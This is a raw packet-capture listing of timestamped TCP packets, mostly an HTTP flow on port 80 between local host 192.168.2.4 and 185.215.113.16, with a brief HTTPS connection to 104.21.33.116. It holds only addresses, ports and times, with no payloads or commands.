Nov 23, 2024 20:23:46.523911953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.523955107 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.523977995 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.525434017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.525473118 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.525536060 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.527067900 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.527107000 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.527165890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.528486967 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.528531075 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.528544903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.530026913 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.530064106 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.530210972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.531549931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.531601906 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.531647921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.532711983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.532747030 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.532821894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.533961058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.534002066 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.534064054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.535053015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.535089970 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.535223007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.536195040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.536237001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.536340952 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.537369013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.537405968 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.537450075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.538536072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.538574934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.538624048 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.539669991 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.539710999 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.539819002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.540853024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.540894985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.540981054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.542016983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.542054892 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.542112112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.543195963 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.543240070 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.543266058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.544343948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.544389963 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.544409037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.545514107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.545555115 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.545574903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.546683073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.546716928 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.546797037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.547924995 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.547964096 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.547981977 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.549016953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.549053907 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.549129963 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.550214052 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.550256014 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.550327063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.551369905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.551408052 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.551467896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.552480936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.552534103 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.552578926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.553643942 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.553680897 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.553733110 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.599975109 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.682910919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.683007956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.683052063 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.683178902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.683243990 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.683281898 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.684243917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.684360981 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.684432983 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.685266018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.685393095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.685431004 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.686335087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.686446905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.686480045 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.687369108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.687470913 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.687510967 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.688590050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.688668013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.688704967 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.689471960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.689584017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.689624071 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.690521002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.690659046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.690706015 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.691584110 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.691718102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.691762924 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.692656994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.692781925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.692820072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.693672895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.693772078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.693809032 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.694736958 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.694925070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.694972992 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.695780993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.695878029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.695926905 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.696805954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.696917057 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.696959019 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.697853088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.697982073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.698025942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.698900938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.699001074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.699043036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.699930906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.700056076 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.700098038 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.700988054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.701108932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.701150894 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.702022076 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.702136040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.702181101 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.703079939 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.703227997 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.703269958 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.704125881 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.704179049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.704219103 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.705184937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.705266953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.705307961 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.706233025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.706348896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.706389904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.707267046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.707382917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.707422972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.708317041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.708430052 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.708468914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.709403038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.709456921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.709500074 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.710459948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.710506916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.710544109 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.711503983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.711616993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.711666107 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.712524891 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.712668896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.712713957 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.713551044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.713645935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.713685036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.714617968 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.714678049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.714723110 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.715708017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.715785027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.715830088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.716705084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.716840982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.716890097 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.717749119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.717828035 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.717880964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.718797922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.718909025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.718945980 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.719837904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.719947100 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.719984055 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.720982075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.721090078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.721131086 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.721963882 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.722059965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.722095966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.723043919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.723100901 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.723139048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.724057913 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.724178076 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.724220991 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.725076914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.725189924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.725230932 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.726124048 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.726268053 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.726310968 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.727181911 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.727297068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.727341890 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.728231907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.728346109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.728391886 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.729262114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.729370117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.729408979 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.730317116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.730441093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.730485916 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.731391907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.731501102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.731595993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.732445955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.732594013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.732641935 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.733480930 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.733537912 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.733577013 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.734505892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.734616041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.734662056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.735560894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.735665083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.735707998 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.736608028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.736674070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.736717939 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.737654924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.787482977 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.801354885 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:46.801389933 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:46.801475048 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:46.801860094 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:46.801871061 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:46.884303093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.884459019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.884501934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.884818077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.884932995 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.884977102 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.885862112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.885986090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.886127949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.886897087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.887018919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.887063026 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.887944937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.888112068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.888153076 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.888983011 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.889105082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.889149904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.890042067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.890158892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.890201092 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.891093969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.891206980 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.891258955 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.892157078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.892280102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.892321110 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.893171072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.893311024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.893351078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.894226074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.894340992 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.894381046 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.895282030 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.895348072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.895427942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.896311045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.896429062 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.896522999 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.897342920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.897464991 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.897516966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.898428917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.898574114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.898618937 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.899482965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.899583101 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.899651051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.900521994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.900664091 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.900810957 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.901559114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.901675940 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.901721001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.902591944 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.902708054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.902754068 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.903670073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.903708935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.903750896 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.904731989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.904838085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.904918909 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.905760050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.905844927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.905895948 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.906805038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.906883001 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.906924963 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.907883883 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.907978058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.908023119 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.908905029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.908999920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.909044981 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.909940958 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.909990072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.910078049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.911030054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.911129951 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.911175966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.912041903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.912091017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.912134886 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.913094997 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.913211107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.913255930 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.914135933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.914235115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.914278030 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.915178061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.915281057 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.915358067 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.916685104 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.916799068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.916836977 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.917283058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.917380095 CET	80	49870	185.215.113.16	192.168.2.4
